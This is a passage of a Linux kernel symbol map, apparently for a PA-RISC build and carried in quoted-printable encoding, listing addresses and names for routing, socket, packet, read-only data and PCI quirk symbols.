102d45c4 t ipv4_sysctl_forward=0A=
102d4634 t ipv4_sysctl_forward_strategy=0A=
102d476c t proc_tcp_congestion_control=0A=
102d4830 t sysctl_tcp_congestion_control=0A=
102d491c t fib_flush=0A=
102d4974 T ip_dev_find=0A=
102d4a54 T inet_addr_type=0A=
102d4b28 T fib_validate_source=0A=
102d4dbc T ip_rt_ioctl=0A=
102d4f1c t inet_check_attr=0A=
102d4f64 T inet_rtm_delroute=0A=
102d5008 T inet_rtm_newroute=0A=
102d50ac T inet_dump_fib=0A=
102d5198 t fib_magic=0A=
102d52d8 T fib_add_ifaddr=0A=
102d5464 t nl_fib_input=0A=
102d55fc t fib_disable_ip=0A=
102d5640 t fib_inetaddr_event=0A=
102d5848 t fib_netdev_event=0A=
102d58f8 T free_fib_info=0A=
102d5968 T fib_release_info=0A=
102d5a50 T ip_fib_check_default=0A=
102d5ab8 T fib_find_alias=0A=
102d5b00 T fib_detect_death=0A=
102d5be8 T fib_nh_match=0A=
102d5c64 t fib_hash_alloc=0A=
102d5cb0 t fib_hash_free=0A=
102d5d04 T fib_create_info=0A=
102d6694 T fib_semantic_match=0A=
102d67a0 T __fib_res_prefsrc=0A=
102d67c8 T fib_dump_info=0A=
102d6ab0 T rtmsg_fib=0A=
102d6c2c T fib_convert_rtentry=0A=
102d6fd8 T fib_sync_down=0A=
102d713c t fz_hash_alloc=0A=
102d718c t fn_hash_lookup=0A=
102d7264 t fn_hash_select_default=0A=
102d74e0 t fib_find_node=0A=
102d753c t fn_hash_insert=0A=
102d7bc4 t fn_hash_delete=0A=
102d7e3c t fn_hash_flush=0A=
102d7fc0 t fn_hash_dump=0A=
102d819c t fib_get_first=0A=
102d827c t fib_get_next=0A=
102d8408 t fib_seq_start=0A=
102d84f0 t fib_seq_next=0A=
102d8538 t fib_seq_stop=0A=
102d853c t fib_seq_show=0A=
102d869c t fib_seq_open=0A=
102d871c t fold_prot_inuse=0A=
102d8724 t sockstat_seq_show=0A=
102d87fc t sockstat_seq_open=0A=
102d8824 t fold_field=0A=
102d883c t snmp_seq_show=0A=
102d8b7c t snmp_seq_open=0A=
102d8ba4 t netstat_seq_show=0A=
102d8c88 t netstat_seq_open=0A=
102d8cb0 t bictcp_init=0A=
102d8cfc t bictcp_cong_avoid=0A=
102d8fec t bictcp_recalc_ssthresh=0A=
102d90b4 t bictcp_undo_cwnd=0A=
102d90c8 t bictcp_min_cwnd=0A=
102d90d0 t bictcp_state=0A=
102d9114 t bictcp_acked=0A=
102d913c t unix_peer_get=0A=
102d9160 t unix_mkname=0A=
102d91f4 t __unix_remove_socket=0A=
102d927c t __unix_insert_socket=0A=
102d9304 t __unix_find_socket_byname=0A=
102d938c t unix_write_space=0A=
102d9404 t unix_dgram_disconnected=0A=
102d9480 t unix_sock_destructor=0A=
102d9588 t unix_release_sock=0A=
102d978c t unix_listen=0A=
102d9854 t unix_create1=0A=
102d9988 t unix_create=0A=
102d9a20 t unix_release=0A=
102d9a5c t unix_autobind=0A=
102d9c0c t unix_find_other=0A=
102d9d98 t unix_bind=0A=
102da080 t unix_dgram_connect=0A=
102da1c8 t unix_wait_for_peer=0A=
102da2a4 t unix_stream_connect=0A=
102da6bc t unix_socketpair=0A=
102da760 t unix_accept=0A=
102da864 t unix_getname=0A=
102da938 t unix_detach_fds=0A=
102da998 t unix_destruct_fds=0A=
102da9f0 t unix_attach_fds=0A=
102daa5c t unix_dgram_sendmsg=0A=
102daf08 t unix_stream_sendmsg=0A=
102db2c4 t unix_seqpacket_sendmsg=0A=
102db36c t unix_copy_addr=0A=
102db3b0 t unix_dgram_recvmsg=0A=
102db5f0 t unix_stream_recvmsg=0A=
102dbb18 t unix_shutdown=0A=
102dbc60 t unix_ioctl=0A=
102dbd50 t unix_poll=0A=
102dbe1c t unix_seq_start=0A=
102dbf1c t unix_seq_next=0A=
102dbfd0 t unix_seq_stop=0A=
102dbfd4 t unix_seq_show=0A=
102dc118 t unix_seq_open=0A=
102dc188 t unix_get_socket=0A=
102dc1cc T unix_inflight=0A=
102dc220 T unix_notinflight=0A=
102dc274 t maybe_unmark_and_push=0A=
102dc2a8 T unix_gc=0A=
102dc738 T unix_sysctl_register=0A=
102dc764 T unix_sysctl_unregister=0A=
102dc784 t packet_sock_destruct=0A=
102dc828 t packet_rcv_spkt=0A=
102dca78 t packet_sendmsg_spkt=0A=
102dcca8 t packet_rcv=0A=
102dd008 t tpacket_rcv=0A=
102dd4d0 t packet_sendmsg=0A=
102dd794 t packet_do_bind=0A=
102dd87c t packet_bind_spkt=0A=
102dd908 t packet_bind=0A=
102dd9b4 t packet_create=0A=
102ddb74 t packet_recvmsg=0A=
102ddcf8 t packet_getname_spkt=0A=
102ddd88 t packet_getname=0A=
102dde3c t packet_dev_mc=0A=
102ddec0 t packet_getsockopt=0A=
102ddfdc t packet_notifier=0A=
102de14c t packet_ioctl=0A=
102de2d0 t packet_poll=0A=
102de374 t packet_mm_open=0A=
102de3a0 t packet_mm_close=0A=
102de3cc t free_pg_vec=0A=
102de42c t packet_set_ring=0A=
102de72c t packet_setsockopt=0A=
102dea48 t packet_release=0A=
102dec30 t packet_mmap=0A=
102ded70 t packet_seq_start=0A=
102dedd0 t packet_seq_next=0A=
102dee18 t packet_seq_stop=0A=
102dee1c t packet_seq_show=0A=
102deedc t packet_seq_open=0A=
102def00 T klist_init=0A=
102def1c t klist_node_init=0A=
102def84 T klist_add_head=0A=
102defcc T klist_add_tail=0A=
102df014 t klist_release=0A=
102df094 t klist_dec_and_del=0A=
102df0b8 T klist_del=0A=
102df0d0 T klist_remove=0A=
102df0f4 T klist_node_attached=0A=
102df104 T klist_iter_init_node=0A=
102df114 T klist_iter_init=0A=
102df130 T klist_iter_exit=0A=
102df160 T klist_next=0A=
102df1cc T sha_transform=0A=
102df3ec T sha_init=0A=
102df42c T csum_partial=0A=
102df564 T csum_partial_copy_nocheck=0A=
102df5c0 T csum_partial_copy_from_user=0A=
102df698 T fixup_get_user_skip_1=0A=
102df6b4 T fixup_get_user_skip_2=0A=
102df6d0 T fixup_put_user_skip_1=0A=
102df6e8 T fixup_put_user_skip_2=0A=
102df730 A _etext=0A=
102e0000 A __start_rodata=0A=
102e0000 R linux_banner=0A=
102e007c r cpdext=0A=
102e00b8 r cpdist=0A=
102e00f4 r cplext=0A=
102e0134 r cplens=0A=
102e0174 r mask_bits=0A=
102e0198 r border=0A=
102e01e4 r p___0=0A=
102e1000 r __func_____1=0A=
102e2000 R lws_table=0A=
102e3000 R sys_call_table=0A=
102e4000 r __func_____0=0A=
102e401c r __func_____1=0A=
102e4034 r __func_____1=0A=
102e4044 r __func_____0=0A=
102e4058 r __func_____0=0A=
102e4060 r __func_____0=0A=
102e4070 r __func_____0=0A=
102e4138 r __func_____0=0A=
102e4144 r vermagic=0A=
102e415c r masks___0=0A=
102e417c r kernel_config_data=0A=
102e57c4 r __func_____0=0A=
102e57d0 r __func_____0=0A=
102e57e0 r __func_____1=0A=
102e57f8 r __func_____3=0A=
102e5808 r __func_____0=0A=
102e581c r __func_____2=0A=
102e5860 r __func_____0=0A=
102e5874 r __func_____1=0A=
102e5888 r __func_____1=0A=
102e5894 r __func_____0=0A=
102e58d0 r __func_____2=0A=
102e58e4 r __func_____1=0A=
102e58f4 r __func_____0=0A=
102e5900 r Bad_file=0A=
102e5918 r Unused_file=0A=
102e5930 r Bad_offset=0A=
102e5948 r Unused_offset=0A=
102e5964 r __func_____1=0A=
102e5978 r __func_____2=0A=
102e5984 r __func_____1=0A=
102e5998 r __func_____0=0A=
102e59ac r name___1=0A=
102e59b8 r anonstring___0=0A=
102e59c8 r __func_____0=0A=
102e5a20 r __func_____0=0A=
102e5a30 r __func_____0=0A=
102e5a44 r __func_____0=0A=
102e5a50 r __func_____0=0A=
102e5a64 r __func_____0=0A=
102e5a84 r __func_____1=0A=
102e5adc r __func_____0=0A=
102e5af0 r __func_____2=0A=
102e5b00 r __func_____3=0A=
102e5b54 r __func_____0=0A=
102e5c38 r reiserfs_3_6_magic_string=0A=
102e5c44 r error_actions=0A=
102e5c68 r barrier_mode=0A=
102e5c8c r logging_mode=0A=
102e5cbc r balloc=0A=
102e5d10 r tails=0A=
102e5d40 r reiserfs_jr_magic_string=0A=
102e5d4c r reiserfs_3_5_magic_string=0A=
102e5fa4 r __func_____0=0A=
102e5fc4 R MIN_KEY=0A=
102e5fd4 r MAX_KEY=0A=
102e6038 r __func_____0=0A=
102e604c r __func_____2=0A=
102e6060 r __func_____3=0A=
102e6070 r __func_____5=0A=
102e6084 r __func_____2=0A=
102e60a4 r __func_____3=0A=
102e60c4 r __func_____4=0A=
102e60e4 r __func_____1=0A=
102e6104 r __func_____0=0A=
102e6118 r __func_____0=0A=
102e6158 r __func_____4=0A=
102e6168 r __func_____2=0A=
102e6188 r __func_____3=0A=
102e61a8 r __func_____1=0A=
102e61b8 r __func_____0=0A=
102e61c8 r __func_____34=0A=
102e61d4 r __func_____14=0A=
102e61ec r __func_____35=0A=
102e6204 r __func_____8=0A=
102e6218 r __func_____29=0A=
102e6234 r __func_____3=0A=
102e6254 r __func_____28=0A=
102e6268 r __func_____31=0A=
102e6280 r __func_____27=0A=
102e6290 r __func_____5=0A=
102e62b0 r __func_____19=0A=
102e62cc r __func_____23=0A=
102e62e8 r __func_____20=0A=
102e6300 r __func_____24=0A=
102e631c r __func_____30=0A=
102e6338 r __func_____25=0A=
102e634c r __func_____4=0A=
102e6364 r __func_____2=0A=
102e6380 r __func_____6=0A=
102e6390 r __func_____11=0A=
102e63a8 r __func_____12=0A=
102e63bc r __func_____13=0A=
102e63e0 r __func_____15=0A=
102e63f4 r __func_____10=0A=
102e6404 r __func_____22=0A=
102e6420 r __func_____32=0A=
102e642c r __func_____17=0A=
102e6440 r __func_____16=0A=
102e6450 r __func_____18=0A=
102e6464 r __func_____7=0A=
102e6474 r __func_____9=0A=
102e6490 r __func_____21=0A=
102e64a0 r __func_____26=0A=
102e64c0 r __func_____33=0A=
102e64d4 r __func_____1=0A=
102e64e8 r __func_____0=0A=
102e6508 r __func_____0=0A=
102e6514 r __func_____7=0A=
102e6520 r __func_____12=0A=
102e6540 r __func_____3=0A=
102e654c r __func_____4=0A=
102e655c r __func_____9=0A=
102e656c r __func_____10=0A=
102e6580 r __func_____5=0A=
102e658c r __func_____13=0A=
102e65ac r __func_____8=0A=
102e65c0 r __func_____2=0A=
102e65d4 r __func_____6=0A=
102e65e8 r __func_____11=0A=
102e65fc r __func_____20=0A=
102e6608 r __func_____14=0A=
102e6614 r __func_____16=0A=
102e6620 r __func_____1=0A=
102e662c r __func_____22=0A=
102e663c r __func_____21=0A=
102e664c r __func_____15=0A=
102e6658 r __func_____18=0A=
102e6664 r __func_____17=0A=
102e6674 r __func_____19=0A=
102e6680 r __func_____0=0A=
102e668c r __func_____5=0A=
102e66a4 r __func_____4=0A=
102e66bc r __func_____2=0A=
102e66cc r __func_____1=0A=
102e66e4 r __func_____3=0A=
102e66f8 r __func_____0=0A=
102e6708 r __func_____7=0A=
102e6710 r __func_____1=0A=
102e6730 r __func_____9=0A=
102e6744 r __func_____8=0A=
102e6758 r __func_____2=0A=
102e6778 r __func_____3=0A=
102e6788 r __func_____4=0A=
102e6798 r __func_____5=0A=
102e67ac r __func_____6=0A=
102e67c4 r __func_____10=0A=
102e67d0 r __func_____0=0A=
102e67e4 r __func_____15=0A=
102e67f8 r __func_____16=0A=
102e6808 r __func_____17=0A=
102e6818 r __func_____14=0A=
102e6828 r __func_____13=0A=
102e6840 r __func_____6=0A=
102e6850 r __func_____5=0A=
102e6870 r __func_____1=0A=
102e6888 r __func_____8=0A=
102e68a0 r __func_____11=0A=
102e68b4 r __func_____10=0A=
102e68cc r __func_____12=0A=
102e68e8 r __func_____7=0A=
102e68f8 r __func_____9=0A=
102e690c r __func_____4=0A=
102e6928 r __func_____2=0A=
102e6940 r __func_____3=0A=
102e6958 r __func_____0=0A=
102e6970 r __func_____0=0A=
102e698c r __func_____0=0A=
102e6998 r __func_____2=0A=
102e69b0 r __func_____0=0A=
102e69cc r __func_____3=0A=
102e69e0 r __func_____4=0A=
102e69f0 r __func_____1=0A=
102e6a0c r __func_____2=0A=
102e6a20 r __func_____1=0A=
102e6a38 r __func_____0=0A=
102e6a48 r __func_____13=0A=
102e6a5c r __func_____14=0A=
102e6a70 r __func_____8=0A=
102e6a88 r __func_____10=0A=
102e6a98 r __func_____9=0A=
102e6aa8 r __func_____7=0A=
102e6ab8 r __func_____15=0A=
102e6ac8 r __func_____11=0A=
102e6ad8 r __func_____12=0A=
102e6aec r __func_____16=0A=
102e6b04 r __func_____4=0A=
102e6b20 r __func_____5=0A=
102e6b3c r __func_____17=0A=
102e6b5c r __func_____3=0A=
102e6b7c r __func_____2=0A=
102e6b98 r __func_____1=0A=
102e6bbc r __func_____0=0A=
102e6c0c r __func_____2=0A=
102e6c20 r __func_____1=0A=
102e6c34 r __func_____10=0A=
102e6c50 r __func_____9=0A=
102e6c6c r __func_____11=0A=
102e6c84 r __func_____8=0A=
102e6ca0 r __func_____7=0A=
102e6cbc r __func_____6=0A=
102e6ccc r __func_____5=0A=
102e6ce0 r __func_____4=0A=
102e6cf4 r __func_____3=0A=
102e6d10 r __func_____2=0A=
102e6d20 r __func_____1=0A=
102e6d30 r __func_____0=0A=
102e6d4c R scsi_command_size=0A=
102e6d54 r __func_____0=0A=
102e6d68 r __func_____2=0A=
102e6d80 r __func_____8=0A=
102e6d9c r __func_____9=0A=
102e6dac r __func_____7=0A=
102e6dc0 r __func_____6=0A=
102e6dd4 r __func_____5=0A=
102e6dec r __func_____4=0A=
102e6e00 r __func_____3=0A=
102e6e18 r __func_____11=0A=
102e6e28 r __func_____10=0A=
102e6e3c r __func_____1=0A=
102e6e4c r __func_____4=0A=
102e6e64 r __func_____6=0A=
102e6e78 r __func_____5=0A=
102e6e8c r __func_____7=0A=
102e6ea0 r __func_____0=0A=
102e6eac r __func_____3=0A=
102e6ec4 r __func_____2=0A=
102e6ed4 r __func_____1=0A=
102e6ef0 r __func_____1=0A=
102e6efc r __func_____0=0A=
102e6f08 r small_digits___2=0A=
102e6f30 r large_digits___3=0A=
102e6f58 r __func_____0=0A=
102e6f64 r crc32table_be=0A=
102e7364 r crc32table_le=0A=
102e7764 r iomem_ops=0A=
102e77a4 r ioport_ops=0A=
102e77e4 r __func_____6=0A=
102e77f8 r __func_____5=0A=
102e7808 r __func_____4=0A=
102e7818 r __func_____3=0A=
102e7828 r __func_____2=0A=
102e7840 r __func_____1=0A=
102e7850 r __func_____0=0A=
102e7860 r __func_____2=0A=
102e7874 r __func_____1=0A=
102e7888 r __func_____0=0A=
102e789c r __func_____5=0A=
102e78b0 r __func_____6=0A=
102e78bc r __func_____7=0A=
102e78d0 r __func_____8=0A=
102e78e0 r __func_____9=0A=
102e78f0 r __func_____0=0A=
102e7900 r __func_____0=0A=
102e7910 r __func_____0=0A=
102e7924 r __func_____1=0A=
102e7934 r __func_____3=0A=
102e7948 r __func_____2=0A=
102e7958 r __func_____0=0A=
102e7968 r __func_____0=0A=
102e7978 r __func_____0=0A=
102e7988 r __func_____6=0A=
102e799c r __func_____1=0A=
102e79ac r __func_____2=0A=
102e79c4 r __func_____0=0A=
102e79d4 R dummy_con=0A=
102e7a38 r default_blkmv_flags=0A=
102e7a40 r clear_blkmv_flags=0A=
102e7a48 r col_trans=0A=
102e7a50 r default_font_flags=0A=
102e7a58 r default_conf_flags=0A=
102e7a60 r default_init_flags=0A=
102e7a68 R font_vga_8x16=0A=
102e7a80 r fontdata_8x16=0A=
102e8a80 r fb_con=0A=
102e8ae4 r modedb=0A=
102e96b4 r devlist=0A=
102e9744 r twist_table___0=0A=
102e9764 R NR_TYPES=0A=
102e9768 R max_vals=0A=
102e97a0 r __func_____18=0A=
102e97b0 r __func_____13=0A=
102e97c0 r __func_____19=0A=
102e97d0 r __func_____1=0A=
102e97dc r __func_____3=0A=
102e97e8 r __func_____12=0A=
102e97f8 r __func_____2=0A=
102e9804 r __func_____10=0A=
102e9810 r __func_____9=0A=
102e9820 r __func_____11=0A=
102e982c r __func_____7=0A=
102e983c r __func_____6=0A=
102e9850 r __func_____5=0A=
102e9868 r __func_____4=0A=
102e9878 r __mon_yday=0A=
102e98ac r __func_____2=0A=
102e98b8 r __func_____0=0A=
102e98c4 r __func_____0=0A=
102e98d4 r __func_____0=0A=
102e98e8 r __func_____4=0A=
102e9900 r __func_____6=0A=
102e9914 r __func_____2=0A=
102e9928 r __func_____3=0A=
102e9940 r __func_____5=0A=
102e995c r __func_____1=0A=
102e9978 r __func_____0=0A=
102e998c R scsi_device_types=0A=
102e99c8 r serv_out16_arr=0A=
102e99d8 r serv_in16_arr=0A=
102e99e8 r serv_out12_arr=0A=
102e99f0 r serv_in12_arr=0A=
102e99f8 r maint_out_arr=0A=
102e9a18 r maint_in_arr=0A=
102e9a48 r __func_____0=0A=
102e9a5c r __func_____4=0A=
102e9a70 r __func_____1=0A=
102e9a84 r __func_____0=0A=
102e9a94 r __func_____1=0A=
102e9aa4 r __func_____0=0A=
102e9ab8 r __func_____2=0A=
102e9ad8 r spaces=0A=
102e9aec r __func_____2=0A=
102e9b00 r __func_____1=0A=
102e9b18 r __func_____0=0A=
102e9b34 r __func_____1=0A=
102e9b4c r __func_____0=0A=
102e9b60 r ppr_to_ps=0A=
102e9ba0 r Tekram_sync=0A=
102e9bb0 r __func_____0=0A=
102e9bbc r __func_____0=0A=
102e9c24 r __func_____2=0A=
102e9c2c r __func_____5=0A=
102e9c38 r mask___0=0A=
102e9c48 r mask___1=0A=
102e9c54 r __func_____0=0A=
102e9c60 r __func_____1=0A=
102e9d3c r __func_____0=0A=
102e9d48 r rta_max=0A=
102e9d7c r rtm_min=0A=
102e9db0 r __func_____0=0A=
102e9dc4 r fmt_dec=0A=
102e9dc8 r fmt_ulong=0A=
102e9dd0 r fmt_long_hex=0A=
102e9dd8 r fmt_hex=0A=
102e9de0 r __func_____0=0A=
102e9df0 r prio2band=0A=
102e9e14 r __func_____1=0A=
102e9e28 r mtu_plateau=0A=
102e9e3c r __func_____0=0A=
102e9e48 r __func_____0=0A=
102e9e54 r __func_____0=0A=
102e9e60 r __func_____0=0A=
102e9e6c R inet_csk_timer_bug_msg=0A=
102e9e90 r __func_____0=0A=
102e9e9c r new_state=0A=
102e9eac r __func_____0=0A=
102e9eb8 r __func_____0=0A=
102e9ec0 r __func_____0=0A=
102e9ecc r __func_____0=0A=
102e9ed8 r __func_____0=0A=
102e9ee4 r __func_____0=0A=
102e9ef8 r __func_____1=0A=
102e9f04 r __func_____0=0A=
102e9f18 r __func_____1=0A=
102e9f24 r __func_____0=0A=
102e9f30 r icmp_pointers=0A=
102ea060 r __func_____0=0A=
102ea06c r __func_____1=0A=
102ea078 r __func_____2=0A=
102ea090 r __func_____0=0A=
102ea09c r __func_____0=0A=
102ea0a8 r fib_props=0A=
102ea120 r type2flags___0=0A=
102ea150 r snmp4_net_list=0A=
102ea360 r snmp4_udp_list=0A=
102ea388 r snmp4_tcp_list=0A=
102ea400 r snmp4_icmp_list=0A=
102ea4d8 r snmp4_ipstats_list=0A=
102ea568 r __func_____2=0A=
102ea57c r __func_____0=0A=
102ea58c r __func_____1=0A=
102ea598 r __func_____0=0A=
10310a10 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_PXHVquirk_pcie_pxh=0A=
10310a10 R __start_pci_fixups_early=0A=
10310a18 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_PXH_1quirk_pcie_pxh=0A=
10310a20 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_PXH_0quirk_pcie_pxh=0A=
10310a28 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_PXHD_1quirk_pcie_pxh=0A=
10310a30 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_PXHD_0quirk_pcie_pxh=0A=
10310a38 R __end_pci_fixups_early=0A=
10310a38 r =
__pci_fixup_PCI_VENDOR_ID_NCRPCI_DEVICE_ID_NCR_53C810fixup_rev1_53c810=0A=
10310a38 R __start_pci_fixups_header=0A=
10310a40 r __pci_fixup_PCI_VENDOR_ID_NETMOSPCI_ANY_IDquirk_netmos=0A=
10310a48 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_LPCquirk_sis_96x_smbus=0A=
10310a50 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_963quirk_sis_96x_smbus=0A=
10310a58 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_962quirk_sis_96x_smbus=0A=
10310a60 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_961quirk_sis_96x_smbus=0A=
10310a68 r __pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_503quirk_sis_503=0A=
10310a70 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_735quirk_sis_96x_compatible=0A=
10310a78 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_651quirk_sis_96x_compatible=0A=
10310a80 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_650quirk_sis_96x_compatible=0A=
10310a88 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_648quirk_sis_96x_compatible=0A=
10310a90 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_646quirk_sis_96x_compatible=0A=
10310a98 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_645quirk_sis_96x_compatible=0A=
10310aa0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_ICH6_1asus_hides_smbus=
_lpc_ich6=0A=
10310aa8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801EB_0asus_hides_sm=
bus_lpc=0A=
10310ab0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801DB_12asus_hides_s=
mbus_lpc=0A=
10310ab8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801CA_12asus_hides_s=
mbus_lpc=0A=
10310ac0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801BA_0asus_hides_sm=
bus_lpc=0A=
10310ac8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801DB_0asus_hides_sm=
bus_lpc=0A=
10310ad0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82915GM_HBasus_hides_s=
mbus_hostbridge=0A=
10310ad8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82855GM_HBasus_hides_s=
mbus_hostbridge=0A=
10310ae0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82855PM_HBasus_hides_s=
mbus_hostbridge=0A=
10310ae8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_7205_0asus_hides_smbus=
_hostbridge=0A=
10310af0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82865_HBasus_hides_smb=
us_hostbridge=0A=
10310af8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82850_HBasus_hides_smb=
us_hostbridge=0A=
10310b00 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82845G_HBasus_hides_sm=
bus_hostbridge=0A=
10310b08 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82845_HBasus_hides_smb=
us_hostbridge=0A=
10310b10 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82375quirk_eisa_bridge=0A=
10310b18 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801CA_10quirk_ide_sa=
memode=0A=
10310b20 r =
__pci_fixup_PCI_VENDOR_ID_SERVERWORKSPCI_DEVICE_ID_SERVERWORKS_CSB5IDEqui=
rk_svwks_csb5ide=0A=
10310b28 r __pci_fixup_PCI_ANY_IDPCI_ANY_IDquirk_ide_bases=0A=
10310b30 r __pci_fixup_PCI_VENDOR_ID_TOSHIBA0x605quirk_transparent_bridge=0A=
10310b38 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82380FBquirk_transpare=
nt_bridge=0A=
10310b40 r =
__pci_fixup_PCI_VENDOR_ID_DUNORDPCI_DEVICE_ID_DUNORD_I3000quirk_dunord=0A=
10310b48 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C597_0quirk_vt82c598_id=0A=
10310b50 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C686_4quirk_via_acpi=0A=
10310b58 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C586_3quirk_via_acpi=0A=
10310b60 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_8235quirk_vt8235_acpi=0A=
10310b68 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C686_4quirk_vt82c686_acp=
i=0A=
10310b70 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C586_3quirk_vt82c586_acp=
i=0A=
10310b78 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_ICH6_1quirk_ich6_lpc_a=
cpi=0A=
10310b80 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_ESB_1quirk_ich4_lpc_ac=
pi=0A=
10310b88 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801EB_0quirk_ich4_lp=
c_acpi=0A=
10310b90 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801DB_12quirk_ich4_l=
pc_acpi=0A=
10310b98 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801DB_0quirk_ich4_lp=
c_acpi=0A=
10310ba0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801CA_12quirk_ich4_l=
pc_acpi=0A=
10310ba8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801CA_0quirk_ich4_lp=
c_acpi=0A=
10310bb0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801BA_10quirk_ich4_l=
pc_acpi=0A=
10310bb8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801BA_0quirk_ich4_lp=
c_acpi=0A=
10310bc0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801AB_0quirk_ich4_lp=
c_acpi=0A=
10310bc8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82801AA_0quirk_ich4_lp=
c_acpi=0A=
10310bd0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82371AB_3quirk_piix4_a=
cpi=0A=
10310bd8 r =
__pci_fixup_PCI_VENDOR_ID_ALPCI_DEVICE_ID_AL_M7101quirk_ali7101_acpi=0A=
10310be0 r __pci_fixup_PCI_VENDOR_ID_S3PCI_DEVICE_ID_S3_968quirk_s3_64M=0A=
10310be8 r __pci_fixup_PCI_VENDOR_ID_S3PCI_DEVICE_ID_S3_868quirk_s3_64M=0A=
10310bf0 r =
__pci_fixup_PCI_VENDOR_ID_IBMPCI_DEVICE_ID_IBM_CITRINEquirk_citrine=0A=
10310bf8 R __end_pci_fixups_header=0A=
10310bf8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_E7525_MCHquirk_pcie_mc=
h=0A=
10310bf8 R __start_pci_fixups_final=0A=
10310c00 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_E7320_MCHquirk_pcie_mc=
h=0A=
10310c08 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_E7520_MCHquirk_pcie_mc=
h=0A=
10310c10 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82454NXquirk_disable_p=
xb=0A=
10310c18 r =
__pci_fixup_PCI_VENDOR_ID_CYRIXPCI_DEVICE_ID_CYRIX_PCI_MASTERquirk_mediag=
x_master=0A=
10310c20 r =
__pci_fixup_PCI_VENDOR_ID_AMDPCI_DEVICE_ID_AMD_FE_GATE_700Cquirk_amd_orde=
ring=0A=
10310c28 r __pci_fixup_PCI_ANY_IDPCI_ANY_IDquirk_cardbus_legacy=0A=
10310c30 r =
__pci_fixup_PCI_VENDOR_ID_ATIPCI_DEVICE_ID_ATI_RS100quirk_ati_exploding_m=
ce=0A=
10310c38 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82443BX_2quirk_natoma=0A=
10310c40 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82443BX_1quirk_natoma=0A=
10310c48 r =
